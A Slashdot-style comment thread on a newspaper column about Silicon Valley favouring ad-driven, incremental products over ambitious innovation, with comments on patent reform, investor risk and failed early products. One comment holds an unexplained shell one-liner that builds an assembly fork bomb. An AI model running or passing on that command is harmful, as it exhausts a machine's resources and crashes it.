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The Hypocrisy In Silicon Valley's Big Talk On Innovation
glowend writes "James Temple writes in the San Francisco Chronicle: 'In the fall of 2011, Max Levchin took the stage at a TechCrunch conference to lament the sad state of U.S. innovation. "Technology innovation in this country is somewhere between dire straits and dead," said the PayPal co-founder, later adding: "The solution is actually very simple: You have to aim almost ridiculously high." But for all the funding announcements, product launches, media attention and wealth creation, most of Silicon Valley doesn't concern itself with aiming "almost ridiculously high." It concerns itself primarily with getting people to click on ads or buy slightly better gadgets than the ones they got last year.' I feel like this may be true as more money and MBA types invade the Silicon Valley. There's a lot of 'me-too' startups with some of the best and brightest figuring out ways to sell me stuff rather the working on flying cars."
Look back at the innovative days of Silicon Valley and pick something, anything you can think of and think of what would happen if you were to try and perform the same thing again today. You could never do it, because overzealous IP has killed all American engineering innovation. Many products now spend a significant amount of their budget on patent attorneys and cross license costs. You simply cannot innovate in today's climate as things presently stand.
Some simple ideas that would help protect IP and turn the tide back for innovation:
A patent fee, every patent that is held by an organization (or it's parents organization) doubles in costs.
- Allows the small time inventory to register patents without undue cost while adding some measure of expense to patent warchest building.
A patent tax, every patent is taxed at a rate that makes large patent war-chests financially unfeasible.
- You can cripple IP trolls on this by increasing the tax for a patent that is not in active production.
Shortening the length of time that a patent is good for based on the type of patent.
- Decreasing a patent's shelf life to 5 years would probably do more to free up the IP logjams than any other thing.
Make RAND rates standardized for everyone and don't allow them to be offset. /reasonable/ rate.
- Everyone pays the same RAND rates and if your patent is essential than anyone can license it at a fixed and
End massive patent paydays like Apple's recent billion dollar court win.
- Reform the financial benefits for 'going nuclear' and seeking large court settlements for patent violations and make the penalties fixed.
There is no room for failure. Without failure, and the ability to take risks, you'll get a lot of me too ish. Silicon Valley thrived when it was cheap to fail, now that it nolonger is you need to look to other places. I'd expect something more radical outta Detroit (where the buildings are almost free) or Kansas City, with the Google Fiber, than the Valley.
Silicon valley, and more about economic theory. Do free-markets drive the world in the right direction, or does the government? This, as in most things, seems to boil down to a compromise.
We need agile markets, able to open and close companies overnight, therefore allowing for innovation, failure and re-birth. BUT, we also need big, slow-moving government to keep those businesses from harvesting short-term profits and dumping losses on investors/governments.
The problems that we have today (a bit off topic here) are related to business being tied a bit too close to government. Why do we have the lowest congressional approval rating that I can remember? Because they all seem to be bought and sold by the same companies. In reality, though, they're not outright bought and sold, they're just trying to secure a sweet, sweet consulting deal after they retire from government. But I digress.
This article isn't about the hypocrisy in silicon valley in particular, and more about the hypocrisy in people lauding free-market capitalism.
There's a lot of 'me-too' startups with some of the best and brightest figuring out ways to sell me stuff rather the working on flying cars.
The flying car was your grandfather's future, and it now sounds weird to use it as a symbol for the future.
The flying car is a symbol for a future that never was.
Look where all this talking got us, baby.
Why hasn't /. checksummed the ACs IPs on their end so we can ignore specific Anonymous Cowards by IP address without knowing their IP? That's not innovation either but pretty much a simple solution where I don't need to know who is posting other than that I don't want to see their posts.
Newton, Xerox Star, Next, Intel's iAXP432, Xanadu Project, the Windows 2001 Tablet, Japan's HD analog TV R&D project, that company that tried to make an online MS-Office competitor with Java applets, and many other "bold" ideas that were ahead of their time failed.
The market and technology has to be "just almost ready" for stuff to take off. If you are too early, then your configuration and vision are probably all wrong. It takes trial and error with consumers and users to tune products right. The first shot at something bold is usually just too quirky or too expensive.
Palm Pilot did Newton better than Newton, and smart devices improved up the ladder through Blackberry until they were ready for mainstream with iPhone having the right mixture of features and ease of use. (Sorry fans, but Newton sucked from a practicality angle.)
And the few times big gambles get wings, competitors usually make a better run at the idea and the payoff is not big enough to justify the up-front risk. VisiCalc, the first spreadsheet is just such an example. After about 3 years of strong sales, Lotus came along and did it better, faster, and cheaper (gambling on IBM PC instead of CPM), and VisiCalc went belly-up. (Software patents didn't really exist back then, which will be another problem with very new ideas.)
In investing, you usually don't want to take a big risk unless there is a big potential payoff. But history shows for big-leap projects, the risks are big but usually not the payoffs. Incremental innovation looks like a better mix of risk and reward to rational investors who study history.
Table-ized A.I.
Max Levchin, co-founder of Paypal, is right. Silicon Valley should instead focus on providing services that treat their customers like dirt and everyone hates, like Paypal.
More Twoson than Cupertino
When you're talking about the stock market, yeah, it does simply 'evaporate like water'. Market value is a collective hallucination, not a checking account.
It's easy to say PayPal is low risk now. I bet it didn't seem low risk before it took off when loads of start ups were no doubt trying to do essentially the same thing and everyone assumed Visa et al would enter the market and wipe them all out.
It's like Microsoft with DOS. Sure in retrospect it seemed certain. Back in he day I be Gates was shitting himself that Gary Kildall might wake up and accept the $250K he was offered or IBM would decide to give the OS job to the legions of programmers they had on he payroll and probably not even doing anything that anyone would miss. Or that Tim Patterson might meet an IBMer in a bar and sell them QDOS for $5000.
In each case there were a lot of people trying to do the same thing. Some of them were in a lot better position to win than the person that did. It just that everyone but the winner screwed up in some way. Some way that wasn't even clear until later. Kildall might have done the deal with IBM if he knew the other options they had. Patterson would have ended up running the equivalent of Microsoft if he'd have known a few more people at IBM.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Everything from music to movies and TV shows are doing this sort of thing. How many super hero movies? The new territory seems to be fairy tales
It's always been this way. Look in any decade since the 1930s, and the vast majority of movies are 'me-too' movies. For that matter, it's not a huge exaggeration to say that most pop music in the last 40 years is 'me-too' copying the Beatles. And the Beatles were just 'me-too' Tin Pan Alley players.
The problem is, something original is extremely rare. If you get a truly new good thing once in a decade, you're doing good.
"First they came for the slanderers and i said nothing."